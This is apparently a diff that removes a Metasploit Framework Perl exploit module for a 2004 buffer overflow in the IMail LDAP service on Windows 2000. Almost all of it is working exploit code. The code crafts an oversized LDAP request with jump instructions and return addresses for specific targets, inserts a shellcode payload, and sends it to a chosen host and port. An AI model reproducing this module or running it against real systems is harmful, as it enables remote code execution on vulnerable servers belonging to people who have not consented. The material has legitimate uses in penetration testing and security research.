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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::imail_ldap;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
- my $info =
- {
- 'Name' => 'IMail LDAP Service Buffer Overflow',
- 'Version' => '$Revision: 1.17 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 389],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 1024,
- 'BadChars' => "\x00\x0a\x0d\x20",
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This exploits a buffer overflow in the LDAP service that is
- part of the IMail product. This module was tested against
- version 7.10 and 8.5, both running on Windows 2000.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '3984'],
- ['URL', 'http://secunia.com/advisories/10880/'],
- ['MIL', '34'],
- ],
-
- 'Targets' =>
- [
- ["Windows 2000 English", 0x75023386],
- ["Windows 2000 IMail 8.x", 0x1002a619],
- ],
-
- 'Keys' => ['imail'],
-
- 'DisclosureDate' => 'Feb 17 2004',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
-
- my $target = $self->Targets->[$target_idx];
-
- my $request =
- "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20".
- ("\xcc" x 5000);
-
- # Universal exploit, targets 6.x, 7.x, and 8.x at once ;)
- # Thanks for johnny cyberpunk for 6/7 vs 8 diffs
- substr($request, 77, 4, "\xeb\x0eXX"); # jmp 14
- substr($request, 81, 4, pack('V', $target->[1])); # return to above jmp (6/7)
- substr($request, 85, 4, "\xeb\x04XX"); # jmp 6
- substr($request, 89, 4, pack('V', $target->[1])); # return to above jmp (8)
- substr($request, 93, length($shellcode), $shellcode);
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Connected to LDAP, trying to exploit ".$target->[0]);
- $s->Send($request);
- sleep(2);
- return;
- }
-
-